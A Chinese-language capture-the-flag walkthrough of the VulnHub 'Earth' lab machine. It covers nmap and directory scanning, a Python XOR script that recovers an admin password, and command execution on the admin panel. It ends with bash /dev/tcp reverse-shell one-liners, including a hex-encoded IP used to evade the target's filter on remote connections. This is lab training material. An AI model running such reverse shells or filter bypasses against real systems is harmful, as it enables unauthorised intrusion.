vulhub Earth靶场攻略
靶场下载
下载链接:https://download.vulnhub.com/theplanets/Earth.ova
靶场使用
将压缩包解压到一个文件夹中,右键,用虚拟机打开,就创建成功了,然后启动虚拟机:
这时候靶场已经启动了,咱们现在要找到这个靶场。
靶场是网页形式的,我们要找他,首先需要找到靶场的IP地址已经开发的端口才能访问:
怎么找呢?我们看他的网段,查看该虚拟机的网络连接形式,右键左侧虚拟机名字,点设置,点网络适配器:
看出是nat模式。我们再点上方编辑,虚拟网络编辑器,nat模式
看到子网为192.168.163.1-192.168.163.255
我们用Nmap工具扫描一下这个网段:命令:nmap 192.168.163.1/24:
可以看出扫描出来三个地址
192.168.163.1;192.168.163.141;192.168.163.254;
其中192.168.163.1是主机地址,192.168.163.254是广播地址,192.168.163.141就是虚拟机地址了。并且可以看出虚拟机开放了22,80,443端口。
咱们浏览器访问一下,结果访问不了
这时候就要找问题了,我使用命令nmap -A 192.168.163.141,扫描出了在443端口下有两个域名
我们把这两个域名添加到我本机的hosts文件里,我的hosts文件路径是C:\Windows\System32\drivers\etc,供大家参考。注意:hosts文件没有后缀,且编码方式只有ANSI才有效,且内容格式是IP+空格+域名大家如果除了问题可以从这方面排查。
然后浏览器访问域名就可以了,注意访问时要把协议改成https。
靶场攻略
页面扫描:
这是一个留言板,但是这个留言板要求密钥,除此之外就没什么用了。我们扫描一下其他页面,两个域名都要扫。在用dirb工具扫描earth.local域名时找到了可用页面。
访问一下:
点一下log in
发现这页面还是没什么用。那我们继续扫,我们用dirsearch工具又扫到一个页面
访问一下:
robots.txt文件记录的是给爬虫的规定,通过Disallow
指令禁止爬虫抓取特定目录或页面(如后台管理路径/admin/
),或通过Allow
指令明确允许访问。也就是说里面记录的东西他网站根目录里都有,因此有时候也会暴露文件名与文件路径。就比如这里的/testingnotes.*,这就表示在网站根目录下有一个文件testingnotes.*,其中*表示什么后缀都可以,我们这里用txt。
访问这个文件:
这里面说testdata.txt文件用于测试加密,用户名是terra我们试着访问一下testdata.txt:
解密:
testdata.txt文件用于测试加密,那么里面的内容可能是密钥,那密文是什么呢?我想到了首页下面的那几行数字。
咱们看一下,我输入000,0000,00000回显如下
可以得出:1、数据经过加密,2、明文和密文长度关系是1:2
密钥长度是403
检查密文,最后一行是806行。
大概率是他俩对应的。
为了解密他们,我写了一个python脚本
import binasciikey="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
testdata="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."a = binascii.b2a_hex(testdata.encode()).decode()
b = binascii.a2b_hex(hex(int(a,16) ^ int(key,16))[2:]).decode()
print(b)
运行这个脚本
可以看出运行结果是一直重复的一串字符earthclimatechangebad4humans,结合前面名字是todo那么这个可能就是密码。
在admin解密登录一下:
反弹shell:
登录成功的页面可以输入命令,我们输入id:
确实可以。我试着写入木马,但是试了好几次都没有成功,所以我试了试反弹shell,bash -i >& /dev/tcp/3232272512/6666 0>&1
他说禁止远程连接,我们试着将IP转换成16进制绕过一下:bash -i >& /dev/tcp/0Xc0a8a383/8080 0>&1
连接成功!